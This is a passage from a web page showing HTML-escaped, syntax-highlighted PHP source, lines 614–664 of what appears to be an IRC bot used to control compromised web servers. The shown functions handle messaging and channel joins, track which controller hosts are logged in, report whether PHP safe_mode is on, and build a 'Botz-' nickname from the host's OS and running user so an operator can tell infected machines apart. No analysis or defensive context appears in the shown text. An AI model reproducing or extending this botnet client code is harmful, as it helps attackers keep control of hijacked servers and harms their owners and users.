0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum614&quot;&gt; 614:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; (@ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&quot;safe_mode&quot;&lt;/span&gt;) OR eregi(&lt;span style=&quot;color: #006080&quot;&gt;&quot;on&quot;&lt;/span&gt;, @ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&quot;safe_mode&quot;&lt;/span&gt;))) ? &lt;span style=&quot;color: #006080&quot;&gt;&quot;4ON&quot;&lt;/span&gt; : &lt;span style=&quot;color: #006080&quot;&gt;&quot;8OFF&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum615&quot;&gt; 615:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum616&quot;&gt; 616:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum617&quot;&gt; 617:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; mes($to, $msg) { &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum618&quot;&gt; 618:&lt;/span&gt;         $this-&amp;gt;send(&lt;span style=&quot;color: #006080&quot;&gt;&quot;PRIVMSG $to :$msg&quot;&lt;/span&gt;); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum619&quot;&gt; 619:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum620&quot;&gt; 620:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum621&quot;&gt; 621:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; isLoggedIn($host) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum622&quot;&gt; 622:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($this-&amp;gt;users[$host]))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum623&quot;&gt; 623:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum624&quot;&gt; 624:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; 1;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum625&quot;&gt; 625:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum626&quot;&gt; 626:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum627&quot;&gt; 627:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum628&quot;&gt; 628:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; 0;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum629&quot;&gt; 629:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum630&quot;&gt; 630:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum631&quot;&gt; 631:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum632&quot;&gt; 632:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; logOut($host) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum633&quot;&gt; 633:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;unset&lt;/span&gt;($this-&amp;gt;users[$host]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum634&quot;&gt; 634:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum635&quot;&gt; 635:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum636&quot;&gt; 636:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; logIn($host) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum637&quot;&gt; 637:&lt;/span&gt;         $this-&amp;gt;users[$host] = &lt;span style=&quot;color: #0000ff&quot;&gt;true&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum638&quot;&gt; 638:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum639&quot;&gt; 639:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum640&quot;&gt; 640:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; join($chan) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum641&quot;&gt; 641:&lt;/span&gt;         $this-&amp;gt;send(&lt;span style=&quot;color: #006080&quot;&gt;&quot;JOIN &quot;&lt;/span&gt;.$chan);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum642&quot;&gt; 642:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum643&quot;&gt; 643:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum644&quot;&gt; 644:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; getNick() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum645&quot;&gt; 645:&lt;/span&gt;         $this-&amp;gt;nick = &lt;span style=&quot;color: #006080&quot;&gt;&quot;[&quot;&lt;/span&gt;.PHP_OS.&lt;span style=&quot;color: #006080&quot;&gt;&quot;][&quot;&lt;/span&gt;.$this-&amp;gt;getCurrentUser().&lt;span style=&quot;color: #006080&quot;&gt;&quot;]Botz-&quot;&lt;/span&gt;.rand(1,99);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum646&quot;&gt; 646:&lt;/span&gt;         $this-&amp;gt;send(&lt;span style=&quot;color: #006080&quot;&gt;&quot;NICK &quot;&lt;/span&gt;.$this-&amp;gt;nick.&lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum647&quot;&gt; 647:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum648&quot;&gt; 648:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum649&quot;&gt; 649:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; getCurrentUser() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum650&quot;&gt; 650:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&#39;get_current_user&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum651&quot;&gt; 651:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum652&quot;&gt; 652:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; get_current_user();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum653&quot;&gt; 653:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum654&quot;&gt; 654:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&#39;posix_getpwuid&#39;&lt;/span&gt;) AND $this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&#39;posix_geteuid&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum655&quot;&gt; 655:&lt;/span&gt;                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum656&quot;&gt; 656:&lt;/span&gt;                     $owner = $processUser = posix_getpwuid(posix_geteuid());&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum657&quot;&gt; 657:&lt;/span&gt;                     &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; $owner[&lt;span style=&quot;color: #006080&quot;&gt;&#39;name&#39;&lt;/span&gt;];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum658&quot;&gt; 658:&lt;/span&gt;                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum659&quot;&gt; 659:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum660&quot;&gt; 660:&lt;/span&gt;                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum661&quot;&gt; 661:&lt;/span&gt;                         &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;Nobody&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum662&quot;&gt; 662:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum663&quot;&gt; 663:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum664&quot;&gt; 664:&lt;/span&gt;     